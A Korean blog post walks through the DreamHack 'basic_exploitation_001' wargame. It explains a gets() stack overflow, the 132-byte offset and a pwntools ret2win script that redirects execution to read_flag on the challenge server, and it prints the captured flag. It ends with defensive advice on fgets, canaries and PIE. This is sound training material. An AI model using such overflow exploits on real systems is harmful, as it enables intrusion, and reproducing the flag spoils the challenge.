[๐Ÿฅ‰ Bronze 4] gets() ํ•œ ์ค„๋กœ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ read_flag๋กœ โ€” DreamHack basic_exploitation_001 ํ’€์ด

2026-06-25ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 4] gets() ํ•œ ์ค„๋กœ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ read_flag๋กœ โ€” DreamHack basic_exploitation_001 ํ’€์ด

buf[0x80]์— ๊ธธ์ด ์ œํ•œ ์—†๋Š” gets()๊ฐ€ ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋‹ค. 128๋ฐ”์ดํŠธ ๋ฒ„ํผ์— saved EBP 4๋ฐ”์ดํŠธ๋ฅผ ๋”ํ•œ 132๋ฐ”์ดํŠธ ๋’ค์— ๋ฆฌํ„ด ์ฃผ์†Œ๊ฐ€ ์žˆ๊ณ , ๊ทธ ์ž๋ฆฌ๋ฅผ system("cat flag")๋ฅผ ๋ถ€๋ฅด๋Š” read_flag() ์ฃผ์†Œ๋กœ ๋ฎ์œผ๋ฉด ๋์ด๋‹ค. ์นด๋‚˜๋ฆฌ๋„ PIE๋„ ์—†์–ด ์˜คํ”„์…‹๊ณผ ์ฃผ์†Œ๊ฐ€ ๊ทธ๋Œ€๋กœ ๊ณ ์ •์ธ ๊ต๊ณผ์„œ์  ret2win.

๋ฌธ์ œ: DreamHack โ€” basic_exploitation_001 ๋ถ„๋ฅ˜: Pwnable (System Hacking) ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 4 FLAG: DH{01ec06f5e1466e44f86a79444a7cd116}


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…basic_exploitation_001
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 4
๋ถ„๋ฅ˜Pwnable
์ œ๊ณต ํŒŒ์ผbasic_exploitation_001 (ELF 32-bit i386), basic_exploitation_001.c
์„œ๋ฒ„nc host3.dreamhack.games 9201
๋ณดํ˜ธ ๊ธฐ๋ฒ•No RELRO ยท No Canary ยท NX ยท No PIE
ํ•ต์‹ฌ ์ทจ์•ฝ์ gets() ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ โ†’ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ read_flag()๋กœ ๋ฎ๋Š” ret2win

์†Œ์Šค๊ฐ€ ํ†ต์งธ๋กœ ์ฃผ์–ด์ง„๋‹ค. ์ด๋ฆ„ ๊ทธ๋Œ€๋กœ ์‹œ์Šคํ…œ ํ•ดํ‚น ์ž…๋ฌธ์šฉ ๋ฌธ์ œ๋กœ, ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์˜ ๊ฐ€์žฅ ๊ธฐ๋ณธํ˜•์ด๋‹ค. ๋ฒ„ํผ ๋’ค ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ, ์ด๋ฏธ ๋ฐ”์ด๋„ˆ๋ฆฌ ์•ˆ์— ๋“ค์–ด ์žˆ๋Š” "ํ”Œ๋ž˜๊ทธ๋ฅผ ์ถœ๋ ฅํ•ด ์ฃผ๋Š” ํ•จ์ˆ˜" ์ฃผ์†Œ๋กœ ๋ฐ”๊ฟ”์น˜๊ธฐํ•˜๋ฉด ๋œ๋‹ค. ์…ธ์ฝ”๋“œ๋ฅผ ์˜ฌ๋ฆด ํ•„์š”๋„, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•  ํ•„์š”๋„ ์—†๋‹ค.

file basic_exploitation_001 && pwn checksec basic_exploitation_001
file ๊ณผ pwn checksec ์ถœ๋ ฅ ํ™”๋ฉด โ€” basic_exploitation_001 ์€ ELF 32๋น„ํŠธ i386 ๋™์  ๋งํฌ ์‹คํ–‰ ํŒŒ์ผ์ด๊ณ  RELRO ์—†์Œ, No canary found, NX enabled, No PIE 0x8048000 ์ด๋ผ ์ฝ”๋“œ ์ฃผ์†Œ๊ฐ€ ์‹คํ–‰๋งˆ๋‹ค ๊ณ ์ •์ด๋‹ค
file ๊ณผ pwn checksec ์ถœ๋ ฅ ํ™”๋ฉด โ€” basic_exploitation_001 ์€ ELF 32๋น„ํŠธ i386 ๋™์  ๋งํฌ ์‹คํ–‰ ํŒŒ์ผ์ด๊ณ  RELRO ์—†์Œ, No canary found, NX enabled, No PIE 0x8048000 ์ด๋ผ ์ฝ”๋“œ ์ฃผ์†Œ๊ฐ€ ์‹คํ–‰๋งˆ๋‹ค ๊ณ ์ •์ด๋‹ค

No PIE๋ผ ์ฝ”๋“œยท์ „์—ญ ์ฃผ์†Œ๊ฐ€ 0x8048000 ๊ธฐ์ค€์œผ๋กœ ์‹คํ–‰๋งˆ๋‹ค ๊ณ ์ •์ด๊ณ , No canary๋ผ ์Šคํƒ์„ ๋„˜์ณ๋„ ๋ง‰์•„์„œ๋Š” ์นด๋‚˜๋ฆฌ ๊ฐ’์ด ์—†๋‹ค. NX๊ฐ€ ์ผœ์ ธ ์žˆ์–ด ์Šคํƒ์—์„œ ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ธธ์€ ๋ง‰ํ˜€ ์žˆ์ง€๋งŒ, ์ด ๋ฌธ์ œ๋Š” ์• ์ดˆ์— ์…ธ์ฝ”๋“œ๊ฐ€ ํ•„์š” ์—†๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” gets()์™€ ret2win

C ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ gets()๋Š” ์ฝ์„ ๊ธธ์ด๋ฅผ ์ธ์ž๋กœ ๋ฐ›์ง€ ์•Š๋Š”๋‹ค. ๊ฐœํ–‰์„ ๋งŒ๋‚  ๋•Œ๊นŒ์ง€ ๋ฌดํ•œ์ • ์ž…๋ ฅ์„ ๋ฒ„ํผ์— ์จ ๋„ฃ๋Š”๋‹ค. ๋ฒ„ํผ๊ฐ€ ๋ช‡ ๋ฐ”์ดํŠธ์ธ์ง€ ํ•จ์ˆ˜๋Š” ์•Œ์ง€ ๋ชปํ•˜๋ฏ€๋กœ, ๋ฒ„ํผ๋ณด๋‹ค ๊ธด ์ž…๋ ฅ์ด ๋“ค์–ด์˜ค๋ฉด ๊ทธ๋Œ€๋กœ ์ธ์ ‘ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ฎ์–ด๋ฒ„๋ฆฐ๋‹ค. ์œ„ํ—˜์„ฑ์ด ๋„ˆ๋ฌด ๋ช…๋ฐฑํ•ด C11์—์„œ ํ‘œ์ค€์—์„œ ์•„์˜ˆ ์ œ๊ฑฐ๋๊ณ , ์ปดํŒŒ์ผ ์‹œ warning: the 'gets' function is dangerous๊ฐ€ ๋œฌ๋‹ค.

์Šคํƒ ํ”„๋ ˆ์ž„์—์„œ ์ง€์—ญ ๋ฒ„ํผ ๋ฐ”๋กœ ์œ„(๋†’์€ ์ฃผ์†Œ ์ชฝ)์—๋Š” ์ €์žฅ๋œ EBP์™€ ํ•จ์ˆ˜์˜ ๋ฆฌํ„ด ์ฃผ์†Œ๊ฐ€ ์ฐจ๋ก€๋กœ ๋†“์ธ๋‹ค. ํ•จ์ˆ˜๊ฐ€ ๋๋‚  ๋•Œ CPU๋Š” ์ด ๋ฆฌํ„ด ์ฃผ์†Œ๋กœ ret ํ•œ๋‹ค. gets()๋กœ ๋ฒ„ํผ๋ฅผ ๋„˜์ณ ๋ฆฌํ„ด ์ฃผ์†Œ๊นŒ์ง€ ๋ฎ์œผ๋ฉด, ํ•จ์ˆ˜๊ฐ€ ๋๋‚˜๋Š” ์ˆœ๊ฐ„ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๊ณณ์œผ๋กœ ์‹คํ–‰ ํ๋ฆ„์„ ๋Œ๋ฆด ์ˆ˜ ์žˆ๋‹ค.

์ด๋•Œ ์ ํ”„ํ•  ๊ณณ์ด ์ด๋ฏธ ๋ฐ”์ด๋„ˆ๋ฆฌ ์•ˆ์— ์žˆ๋Š” ์Šน๋ฆฌ ํ•จ์ˆ˜(๋ณดํ†ต win, get_flag, ์—ฌ๊ธฐ์„  read_flag)๋ฉด โ€” ์…ธ์ฝ”๋“œ๋„, ROP ์ฒด์ธ๋„ ํ•„์š” ์—†์ด ๊ทธ ์ฃผ์†Œ ํ•˜๋‚˜๋งŒ ๋ฆฌํ„ด ์ž๋ฆฌ์— ๋„ฃ์œผ๋ฉด ๋œ๋‹ค. ์ด ํŒจํ„ด์„ ret2win์ด๋ผ๊ณ  ๋ถ€๋ฅธ๋‹ค.

main ์Šคํƒ ํ”„๋ ˆ์ž„ โ€” buf[0x80] ๋‹ค์Œ saved EBP, ๊ทธ ๋‹ค์Œ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ read_flag๋กœ ๋ฎ๋Š”๋‹ค
main ์Šคํƒ ํ”„๋ ˆ์ž„ โ€” buf[0x80] ๋‹ค์Œ saved EBP, ๊ทธ ๋‹ค์Œ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ read_flag๋กœ ๋ฎ๋Š”๋‹ค

๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

์†Œ์Šค ์ „์ฒด๊ฐ€ ์งง๋‹ค.

void read_flag() {
    system("cat flag");          // (A) ํ”Œ๋ž˜๊ทธ๋ฅผ ๊ทธ๋ƒฅ ์ถœ๋ ฅํ•ด ์ฃผ๋Š” ํ•จ์ˆ˜
}
 
int main(int argc, char *argv[]) {
    char buf[0x80];              // (B) 128๋ฐ”์ดํŠธ ์ง€์—ญ ๋ฒ„ํผ
 
    initialize();
    gets(buf);                   // (C) ๊ธธ์ด ์ œํ•œ ์—†๋Š” ์ž…๋ ฅ โ†’ ์˜ค๋ฒ„ํ”Œ๋กœ
 
    return 0;
}

๋ณผ ๊ฑด ์„ธ ๊ตฐ๋ฐ๋‹ค.

  • (A) read_flag()๋Š” system("cat flag")๋กœ ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ์˜ flag ํŒŒ์ผ์„ ์ถœ๋ ฅํ•œ๋‹ค. main์—์„œ๋Š” ํ˜ธ์ถœ๋˜์ง€ ์•Š๋Š”๋‹ค โ€” ์šฐ๋ฆฌ๊ฐ€ ์ง์ ‘ ํ๋ฆ„์„ ๋Œ์–ด์™€์•ผ ํ•œ๋‹ค.
  • (B) buf๋Š” 0x80(128)๋ฐ”์ดํŠธ.
  • (C) gets(buf)์— ๊ธธ์ด ๊ฒ€์‚ฌ๊ฐ€ ์—†๋‹ค. 128๋ฐ”์ดํŠธ๋ฅผ ๋„˜๊ฒจ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค.

๋””์Šค์–ด์…ˆ๋ธ”๋กœ ๋ฒ„ํผ ์œ„์น˜์™€ read_flag ์ฃผ์†Œ๋ฅผ ํ™•์ •ํ•œ๋‹ค.

objdump -d -M intel basic_exploitation_001 | grep -A8 '<main>:'
objdump -d -M intel basic_exploitation_001 | grep -A6 '<read_flag>:'
main๊ณผ read_flag ๋””์Šค์–ด์…ˆ๋ธ” โ€” lea eax,[ebp-0x80] ํ›„ gets@plt, read_flag=0x80485b9
main๊ณผ read_flag ๋””์Šค์–ด์…ˆ๋ธ” โ€” lea eax,[ebp-0x80] ํ›„ gets@plt, read_flag=0x80485b9

๋‘ ๊ฐ€์ง€๊ฐ€ ํ™•์ •๋œ๋‹ค.

  • main์—์„œ gets์— ๋„˜๊ธฐ๋Š” ๋ฒ„ํผ๋Š” lea eax,[ebp-0x80] โ€” ์ฆ‰ buf๋Š” ebp-0x80 ์— ์žˆ๋‹ค.
  • read_flag๋Š” 0x80485b9์—์„œ ์‹œ์ž‘ํ•˜๊ณ , ์•ˆ์—์„œ push 0x8048679("cat flag" ๋ฌธ์ž์—ด) ํ›„ system@plt๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

No PIE๋ผ 0x80485b9๋Š” ์‹คํ–‰๋งˆ๋‹ค ๊ณ ์ •์ด๋‹ค. ์ด ์ฃผ์†Œ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋ฆฌํ„ด ์ž๋ฆฌ์— ๋“ค์–ด๊ฐˆ ๊ฐ’์ด ๋œ๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ์˜คํ”„์…‹ 132 ๋’ค๊ฐ€ ๋ฆฌํ„ด ์ฃผ์†Œ

buf๊ฐ€ ebp-0x80์— ์žˆ์œผ๋‹ˆ, ์Šคํƒ์„ ๋‚ฎ์€ ์ฃผ์†Œ์—์„œ ๋†’์€ ์ฃผ์†Œ๋กœ ์ฑ„์›Œ ๊ฐ€๋ฉด ์ˆœ์„œ๋Š” ์ด๋ ‡๋‹ค.

[ebp-0x80] โ”€โ”€ buf ์‹œ์ž‘
   ...        128๋ฐ”์ดํŠธ (0x80)
[ebp-0x00] โ”€โ”€ saved EBP   (4๋ฐ”์ดํŠธ)
[ebp+0x04] โ”€โ”€ return addr (4๋ฐ”์ดํŠธ)  โ† ์—ฌ๊ธฐ๋ฅผ ๋ฎ๋Š”๋‹ค

buf๋ถ€ํ„ฐ ๋ฆฌํ„ด ์ฃผ์†Œ๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ๋Š” ๋ฒ„ํผ 0x80(128) + saved EBP 4 = 132๋ฐ”์ดํŠธ๋‹ค. ์ฆ‰ ์ž…๋ ฅ 132๋ฐ”์ดํŠธ๋Š” ๊ทธ๋ƒฅ ํŒจ๋”ฉ์œผ๋กœ ํ˜๋ ค๋ณด๋‚ด๊ณ , ๊ทธ ๋‹ค์Œ 4๋ฐ”์ดํŠธ์— read_flag ์ฃผ์†Œ๋ฅผ 32๋น„ํŠธ ๋ฆฌํ‹€์—”๋””์–ธ์œผ๋กœ ๋„ฃ์œผ๋ฉด ๋ฆฌํ„ด ์ฃผ์†Œ๊ฐ€ ์ •ํ™•ํžˆ ๊ทธ ๊ฐ’์œผ๋กœ ๋ฎ์ธ๋‹ค.

payload = b"A" * 132 + p32(0x80485b9)
          โ”” buf 128 + saved EBP 4 โ”˜   โ”” return address โ”˜

main์ด return 0์œผ๋กœ ๋๋‚˜๋ฉด์„œ ret์„ ์‹คํ–‰ํ•˜๋Š” ์ˆœ๊ฐ„, ์Šคํƒ top์— ๋†“์ธ ์ด ๊ฐ’์œผ๋กœ ์ ํ”„ํ•œ๋‹ค โ†’ read_flag() โ†’ system("cat flag") โ†’ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์†Œ์ผ“์œผ๋กœ ์ถœ๋ ฅ๋œ๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

ํŽ˜์ด๋กœ๋“œ ํ•œ ์ค„์ด ์ „๋ถ€๋‹ค. pwntools๋กœ ์›๊ฒฉ์— ๋ถ™์—ฌ ๋ณด๋‚ด๊ณ , ๋’ค๋”ฐ๋ผ ๋‚˜์˜ค๋Š” DH{...}๋ฅผ ๋ฐ›์•„ ์ฐ๊ฒŒ ํ–ˆ๋‹ค.

#!/usr/bin/env python3
# basic_exploitation_001 (Dreamhack, Bronze 4) โ€” ret2win
# buf=[ebp-0x80], gets() ์Šคํƒ BOF, no canary / no PIE.
# ret ์ฃผ์†Œ๋ฅผ read_flag()๋กœ ๋ฎ์œผ๋ฉด read_flag๊ฐ€ system("cat flag")๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.
from pwn import *
 
context.update(arch="i386", os="linux", log_level="error")
 
HOST, PORT = "host3.dreamhack.games", 9201
READ_FLAG  = 0x80485b9            # read_flag() -> system("cat flag")
OFFSET     = 0x80 + 4             # buf(0x80) + saved EBP(4) = 132
 
payload = b"A" * OFFSET + p32(READ_FLAG)
 
p = remote(HOST, PORT) if args.REMOTE else process("./basic_exploitation_001")
p.sendline(payload)
 
p.recvuntil(b"DH{")
flag = "DH{" + p.recvuntil(b"}").decode()
 
print(f"[+] offset    = {OFFSET}  (buf 0x80 + saved EBP 4)")
print(f"[+] read_flag = {hex(READ_FLAG)}")
print(f"[+] payload   = b'A'*{OFFSET} + p32({hex(READ_FLAG)})")
print(f"[+] FLAG      = {flag}")
p.close()

์‹คํ–‰ํ•˜๋ฉด ๋ฆฌํ„ด ํ•œ ๋ฒˆ์— ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋–จ์–ด์ง„๋‹ค.

exploit.py REMOTE ์‹คํ–‰ โ€” offset 132, read_flag 0x80485b9๋กœ ret ๋ฎ์–ด flag ํšŒ์ˆ˜
exploit.py REMOTE ์‹คํ–‰ โ€” offset 132, read_flag 0x80485b9๋กœ ret ๋ฎ์–ด flag ํšŒ์ˆ˜
[+] offset    = 132  (buf 0x80 + saved EBP 4)
[+] read_flag = 0x80485b9
[+] payload   = b'A'*132 + p32(0x80485b9)
[+] FLAG      = DH{01ec06f5e1466e44f86a79444a7cd116}

ํ”Œ๋ž˜๊ทธ๋Š” DH{01ec06f5e1466e44f86a79444a7cd116}.

gets๊ฐ€ ์ถœ๋ ฅํ•˜๋Š” ์•ˆ๋‚ด ๋ฉ”์‹œ์ง€๊ฐ€ ์—†์–ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณด๋‚ด์ž๋งˆ์ž ๊ณง์žฅ read_flag์˜ cat flag ์ถœ๋ ฅ์ด ๋”ฐ๋ผ์˜จ๋‹ค. ๊ทธ๋ž˜์„œ recvuntil(b"DH{")๋กœ ๋ฐ”๋กœ ํ”Œ๋ž˜๊ทธ ํ—ค๋”๋ฅผ ์žก์œผ๋ฉด ๋œ๋‹ค.



๐Ÿ“ ์ •๋ฆฌ

gets()๋Š” ๊ทธ ์ž์ฒด๋กœ ์ทจ์•ฝ์ ์ด๋‹ค.

๊ธธ์ด๋ฅผ ๋ฐ›์ง€ ์•Š๋Š” ์ž…๋ ฅ ํ•จ์ˆ˜๋Š” ๋ฒ„ํผ ํฌ๊ธฐ๋ฅผ ๋ณด์žฅํ•  ๋ฐฉ๋ฒ•์ด ์—†๋‹ค. ์ด ๋ฌธ์ œ์˜ ์ฝ”๋“œ๋Š” gets(buf) ๋‹จ ํ•œ ์ค„๋กœ ๋ฆฌํ„ด ์ฃผ์†Œ๊นŒ์ง€ ๊ฐ€๋Š” ๊ธธ์„ ์—ด์–ด ์คฌ๋‹ค. ์‹ค๋ฌด์—์„œ๋Š” fgets(buf, sizeof(buf), stdin)์ฒ˜๋Ÿผ ์ฝ์„ ๊ธธ์ด๋ฅผ ๋ช…์‹œํ•˜๋Š” ํ•จ์ˆ˜๋กœ ๋ฐ”๊พธ๋Š” ๊ฒƒ์ด ์ฒซ ๋ฒˆ์งธ ๋ฐฉ์–ด๋‹ค. ์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ๋„์šฐ๋Š” gets ๊ฒฝ๊ณ ๋ฅผ ๋ฌด์‹œํ•˜์ง€ ์•Š๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ์ด๋Ÿฐ ํด๋ž˜์Šค์˜ ๋ฒ„๊ทธ๋Š” ๋Œ€๋ถ€๋ถ„ ๊ฑธ๋Ÿฌ์ง„๋‹ค.

๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ๋น ์ง„ ์ž๋ฆฌ์— ์ •ํ™•ํžˆ ๊ตฌ๋ฉ์ด ๋‚œ๋‹ค.

๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๊ณต๊ฒฉ์€ ์›๋ž˜ ์Šคํƒ ์นด๋‚˜๋ฆฌ๊ฐ€ ๋ง‰๋Š”๋‹ค. ํ•จ์ˆ˜ ์ง„์ž… ์‹œ ๋ฒ„ํผ์™€ ๋ฆฌํ„ด ์ฃผ์†Œ ์‚ฌ์ด์— ๋ฌด์ž‘์œ„ ๊ฐ’์„ ์‹ฌ์–ด ๋‘๊ณ , ๋ฆฌํ„ด ์ง์ „ ๊ทธ ๊ฐ’์ด ๋ฐ”๋€Œ์—ˆ๋Š”์ง€ ๊ฒ€์‚ฌํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์นด๋‚˜๋ฆฌ๊ฐ€ ์—†์–ด ๋ฎ์–ด์จ๋„ ๊ฒ€์‚ฌ๊ฐ€ ์—†์—ˆ๋‹ค. ๋˜ PIE/ASLR์ด ์žˆ์—ˆ๋‹ค๋ฉด read_flag ์ฃผ์†Œ๊ฐ€ ์‹คํ–‰๋งˆ๋‹ค ๋‹ฌ๋ผ์ ธ ํ•œ ๋ฒˆ์— ๋งžํžˆ์ง€ ๋ชปํ–ˆ์„ ํ…๋ฐ, No PIE๋ผ 0x80485b9๊ฐ€ ๊ณ ์ •์ด์—ˆ๋‹ค. ์ฆ‰ ์นด๋‚˜๋ฆฌ + PIE ๋‘˜ ์ค‘ ํ•˜๋‚˜๋งŒ ์ผœ์ ธ ์žˆ์—ˆ์–ด๋„ ๋‚œ์ด๋„๊ฐ€ ํ™• ์˜ฌ๋ผ๊ฐ„๋‹ค. ๋ฐฉ์–ด๋Š” ๊ฒฐ๊ตญ โ€” ๊ธธ์ด๋ฅผ ๊ฒ€์‚ฌํ•˜๋Š” ์ž…๋ ฅ ํ•จ์ˆ˜, ์Šคํƒ ์นด๋‚˜๋ฆฌ, ASLR(PIE) โ€” ์ด ์„ธ ๊ฐ€์ง€๋ฅผ ์ผœ ๋‘๋Š” ๊ฒƒ์œผ๋กœ ์ถฉ๋ถ„ํžˆ ๋ง‰ํžŒ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] OOB read ๋กœ ์นด๋‚˜๋ฆฌ ํ˜๋ ค๋ณด๊ณ  BOF ๋กœ ์…ธ โ€” DreamHack ssp_001 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] OOB read ๋กœ ์นด๋‚˜๋ฆฌ ํ˜๋ ค๋ณด๊ณ  BOF ๋กœ ์…ธ โ€” DreamHack ssp_001 ํ’€์ด

์Šคํƒ ์นด๋‚˜๋ฆฌ๊ฐ€ ์ผœ์ง„ 32๋น„ํŠธ BOF ๋ฌธ์ œ. (P)rint ๋ฉ”๋‰ด์˜ box[idx] ๊ฐ€ ์ธ๋ฑ์Šค ๊ฒ€์‚ฌ๋ฅผ ์•ˆ ํ•ด OOB read ๊ฐ€ ๋˜๊ณ , box ๊ธฐ์ค€ +0x80 ์œ„์น˜์— ์žˆ๋Š” ์นด๋‚˜๋ฆฌ 4๋ฐ”์ดํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ์ฝ์–ด์˜ฌ ์ˆ˜ ์žˆ๋‹ค. ์นด๋‚˜๋ฆฌ๋ฅผ ๋ณต์›ํ•œ ๋’ค (E)xit ๋ฉ”๋‰ด์˜ read(name, name_len) ๊ธธ์ด ๋ฌด์ œํ•œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์นด๋‚˜๋ฆฌ๋ฅผ ๊ทธ๋Œ€๋กœ ์ฑ„์šฐ๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ๋กœ ๋ฎ์–ด ์…ธ์„ ์žก๋Š”๋‹ค.
#dreamhack#ctf#pwn+6
2026-06-27#dreamhack +5
[๐Ÿฅ‰ Bronze 4] ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ๋กœ ๋ฎ๋Š”๋‹ค โ€” DreamHack Return Address Overwrite ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ๋กœ ๋ฎ๋Š”๋‹ค โ€” DreamHack Return Address Overwrite ํ’€์ด

scanf("%s") ๋กœ ์Šคํƒ ๋ฒ„ํผ๋ฅผ ๋„˜์ณ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š”, pwnable ์ž…๋ฌธ์˜ ์ •์„. NX ๊ฐ€ ์ผœ์ ธ ์žˆ์–ด ์Šคํƒ ์…ธ์ฝ”๋“œ๋Š” ๋ชป ์˜ฌ๋ฆฌ์ง€๋งŒ ๋ฐ”์ด๋„ˆ๋ฆฌ ์•ˆ์— execve("/bin/sh") ๋ฅผ ๋ถ€๋ฅด๋Š” get_shell ํ•จ์ˆ˜๊ฐ€ ์ด๋ฏธ ์žˆ๋‹ค. ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๊ทธ ํ•จ์ˆ˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด ํ๋ฆ„์„ ๊ฐ€์ ธ์˜ค๋Š” ์ฝ”๋“œ ์žฌ์‚ฌ์šฉ(ret2win) ๊ธฐ๋ฒ•์œผ๋กœ ์…ธ์„ ๋„์šด๋‹ค.
#dreamhack#ctf#pwn+5
2026-06-25#dreamhack +5
[๐Ÿฅ‰ Bronze 3] ARM32 ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ๋กœ pc ๋ฅผ ์ง์ ‘ ๊ฐˆ์•„๋ผ์šฐ๊ธฐ โ€” DreamHack Arm Training-v1 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ARM32 ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ๋กœ pc ๋ฅผ ์ง์ ‘ ๊ฐˆ์•„๋ผ์šฐ๊ธฐ โ€” DreamHack Arm Training-v1 ํ’€์ด

x86 ์˜ ret ์ด ์—†๋Š” ARM32์—์„œ๋Š” ํ•จ์ˆ˜ ์—ํ•„๋กœ๊ทธ๊ฐ€ pop ์œผ๋กœ fp ์™€ pc ๋ฅผ ํ•œ๊บผ๋ฒˆ์— ๋ณต์›ํ•œ๋‹ค. ์ €์žฅ๋œ lr ์„ ๋ฎ์œผ๋ฉด ๊ทธ ๊ฐ’์ด ๊ฒ€์‚ฌ ์—†์ด ๊ทธ๋Œ€๋กœ pc ๊ฐ€ ๋œ๋‹ค. 24๋ฐ”์ดํŠธ ๋’ค ๋ฐ˜ํ™˜์ฃผ์†Œ๋ฅผ shell() ๋กœ ๋ฐ”๊ฟ” system("/bin/sh") ๋ฅผ ํ˜ธ์ถœํ•˜๊ณ , read(0, buf, 200) ๊ฐ€ ์…ธ ๋ช…๋ น๊นŒ์ง€ ์‚ผ์ผœ๋ฒ„๋ฆฌ๋Š” ํ•จ์ •์€ payload ๋ฅผ ์ •ํ™•ํžˆ 200๋ฐ”์ดํŠธ๋กœ ๋งž์ถฐ ๋„˜๊ธด๋‹ค.
#dreamhack#ctf#pwnable+6
2026-08-09#dreamhack +5